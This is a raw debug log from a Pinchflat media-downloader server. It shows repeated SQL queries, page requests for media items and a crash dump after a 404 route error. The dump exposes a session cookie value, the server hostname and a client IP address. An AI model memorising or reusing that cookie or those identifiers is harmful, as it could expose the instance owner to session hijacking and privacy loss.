s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.611 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.612 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.613 [info] Sent 200 in 5ms 18:56:15.694 [info] GET /sources/2/media/771/edit 18:56:15.694 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "771", "source_id" => "2"} Pipelines: [:browser] 18:56:15.695 [debug] QUERY OK source="media_items" db=0.2ms idle=84.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [771] 18:56:15.695 [debug] QUERY OK source="settings" db=0.1ms idle=84.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.695 [debug] QUERY OK source="settings" db=0.1ms idle=84.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.696 [debug] QUERY OK source="settings" db=0.1ms idle=84.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.697 [info] Sent 200 in 2ms 18:56:15.705 [info] GET /sources/2/media/370 18:56:15.705 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "370", "source_id" => "2"} Pipelines: [:browser] 18:56:15.706 [debug] QUERY OK source="media_items" db=0.2ms idle=93.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [370] 18:56:15.706 [debug] QUERY OK source="tasks" db=0.2ms idle=11.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [370] 18:56:15.706 [debug] QUERY OK source="sources" db=0.4ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.707 [debug] QUERY OK source="settings" db=0.1ms idle=11.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.707 [debug] QUERY OK source="settings" db=0.1ms idle=10.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.708 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.708 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.709 [info] Sent 200 in 4ms 18:56:15.720 [info] GET /sources/2/media/370/edit 18:56:15.720 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "370", "source_id" => "2"} Pipelines: [:browser] 18:56:15.721 [debug] QUERY OK source="media_items" db=0.2ms idle=13.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [370] 18:56:15.721 [debug] QUERY OK source="settings" db=0.1ms idle=14.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.721 [debug] QUERY OK source="settings" db=0.2ms idle=14.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.722 [debug] QUERY OK source="settings" db=0.1ms idle=14.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.723 [info] Sent 200 in 3ms 18:56:15.789 [info] GET /sources/2/media/371 18:56:15.789 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "371", "source_id" => "2"} Pipelines: [:browser] 18:56:15.790 [debug] QUERY OK source="media_items" db=0.1ms idle=81.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [371] 18:56:15.790 [debug] QUERY OK source="tasks" db=0.2ms idle=69.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [371] 18:56:15.791 [debug] QUERY OK source="sources" db=0.2ms idle=69.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.791 [debug] QUERY OK source="settings" db=0.0ms idle=69.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.791 [debug] QUERY OK source="settings" db=0.1ms idle=69.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.792 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.792 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.793 [info] Sent 200 in 4ms 18:56:15.807 [info] GET /sources/2/media/371/edit 18:56:15.807 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "371", "source_id" => "2"} Pipelines: [:browser] 18:56:15.808 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=16.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [371] 18:56:15.809 [debug] QUERY OK source="settings" db=0.1ms idle=17.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.809 [debug] QUERY OK source="settings" db=0.1ms idle=17.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.809 [debug] QUERY OK source="settings" db=0.1ms idle=17.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.810 [info] Sent 200 in 3ms 18:56:15.826 [info] GET /sources/2/media/772 18:56:15.826 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "772", "source_id" => "2"} Pipelines: [:browser] 18:56:15.827 [debug] QUERY OK source="media_items" db=0.1ms idle=34.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [772] 18:56:15.827 [debug] QUERY OK source="tasks" db=0.1ms queue=0.1ms idle=19.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [772] 18:56:15.828 [debug] QUERY OK source="sources" db=0.2ms idle=18.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.828 [debug] QUERY OK source="settings" db=0.1ms idle=18.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.828 [debug] QUERY OK source="settings" db=0.0ms idle=18.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.829 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.829 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.830 [info] Sent 200 in 4ms 18:56:15.838 [info] GET /sources/2/media/772/edit 18:56:15.838 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "772", "source_id" => "2"} Pipelines: [:browser] 18:56:15.838 [debug] QUERY OK source="media_items" db=0.1ms idle=10.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [772] 18:56:15.839 [debug] QUERY OK source="settings" db=0.1ms idle=10.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.839 [debug] QUERY OK source="settings" db=0.0ms idle=10.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.839 [debug] QUERY OK source="settings" db=0.0ms idle=10.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.840 [info] Sent 200 in 2ms 18:56:15.896 [info] GET /sources/2/media/372 18:56:15.896 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "372", "source_id" => "2"} Pipelines: [:browser] 18:56:15.897 [debug] QUERY OK source="media_items" db=0.1ms idle=67.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [372] 18:56:15.897 [debug] QUERY OK source="tasks" db=0.2ms idle=58.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [372] 18:56:15.897 [debug] QUERY OK source="sources" db=0.4ms idle=58.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.898 [debug] QUERY OK source="settings" db=0.0ms idle=58.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.898 [debug] QUERY OK source="settings" db=0.1ms idle=58.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.898 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.899 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.900 [info] Sent 200 in 4ms 18:56:15.932 [info] GET /sources/2/media/372/edit 18:56:15.932 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "372", "source_id" => "2"} Pipelines: [:browser] 18:56:15.933 [debug] QUERY OK source="media_items" db=0.2ms idle=34.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [372] 18:56:15.933 [debug] QUERY OK source="settings" db=0.2ms idle=35.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.934 [debug] QUERY OK source="settings" db=0.1ms idle=35.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.934 [debug] QUERY OK source="settings" db=0.0ms idle=35.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.935 [info] Sent 200 in 2ms 18:56:15.942 [info] GET /sources/2/media/469491/force_download 18:56:15.942 [debug] QUERY OK source="settings" db=0.3ms idle=42.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.943 [debug] QUERY OK source="settings" db=0.2ms idle=9.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.943 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:15.944 [error] #PID<0.163823.0> running PinchflatWeb.Endpoint (connection #PID<0.163822.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/469491/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/469491/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163822.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47002}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163823.0>, params: %{}, path_info: ["sources", "2", "media", "469491", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in 